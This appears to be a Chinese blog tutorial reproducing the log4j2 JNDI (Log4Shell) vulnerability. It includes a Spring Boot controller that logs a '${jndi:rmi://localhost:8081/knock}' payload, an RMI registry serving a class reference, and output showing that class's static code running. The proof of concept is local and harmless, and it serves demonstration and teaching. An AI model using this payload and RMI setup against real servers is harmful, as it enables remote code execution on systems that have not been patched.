【复现log4j2 的bug】

log4j2 版本<= 2.15

  4.0.0
  pom

  
    org.springframework.boot
    spring-boot-starter-parent
    
    2.5.2
    
  
  len.hgy
  jndi-rmi-bug-demo
  0.0.1-SNAPSHOT
  logger
  Demo project for Spring Boot
  
    1.8
  
  
    
      org.springframework.boot
      spring-boot-starter-web
      
        
          spring-boot-starter-logging
          org.springframework.boot
        
      
    

    
      org.springframework.boot
      spring-boot-starter-log4j2
    

    
      org.projectlombok
      lombok
      1.18.22
    
  

  
    
      
        org.springframework.boot
        spring-boot-maven-plugin
      
    
    
      
        src/main/java
        
          ***.properties
          ***.yml
          ***.xml
        
        false
      
    
  

打印日志类:

@RestController
public class UserController {

    private static final Logger LOG = LoggerFactory.getLogger(UserController.class);

    private final UserService userService;

    @Autowired
    public UserController(UserService userService) {
        this.userService = userService;
    }

    
    @RequestMapping(method = {RequestMethod.GET, RequestMethod.POST}, path = "/user/{id}")
    public User getUserById(@PathVariable("id") String userId) {
        LOG.info("log4j2 漏洞测试: {}", "${jndi:rmi://localhost:8081/knock}"); // 这个可以使用参数传进来
        return userService.getUserById(userId);
    }
}

jndi注册类

package bug.rmi;

public class Knock {

    static {
        System.out.println("ghost is knocking your door!");
    }
}

package bug.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;

public class RmiRegister {
    // 注册jndi的rmi调用
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8081);
        registry.bind("knock", new ReferenceWrapper(new Reference(null, "bug.rmi.Knock", null)));
        System.out.println("jndi rmi started.");
    }
}

启动项目:使用的是spring-boot

@SpringBootApplication
public class RmiStarter {

    public static void main(String[] args) {
        SpringApplication.run(RmiStarter.class, args);
    }
}

启动jndi的rmi服务

public class RmiRegister {
    // 注册jndi的rmi调用
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8081);
        registry.bind("knock", new ReferenceWrapper(new Reference(null, "bug.rmi.Knock", null)));
        System.out.println("jndi rmi started.");
    }
}

调用接口,日志打印如下

ghost is knocking your door! ## 这个jndi的代码日志,也可以使用dos命令启动打印日志系统的系统程序
2021-12-28 23:51:58,751 http-nio-8080-exec-6 WARN Error looking up JNDI resource 
... 告警日志被我省略了
log4j2 漏洞测试: ${jndi:rmi://localhost:8081/knock}

你的日志可以调用你系统的资源,可见这个bug有多么恐怖, 而且这个bug不能通过防火墙防止,因为它是通过正常的端口进入系统的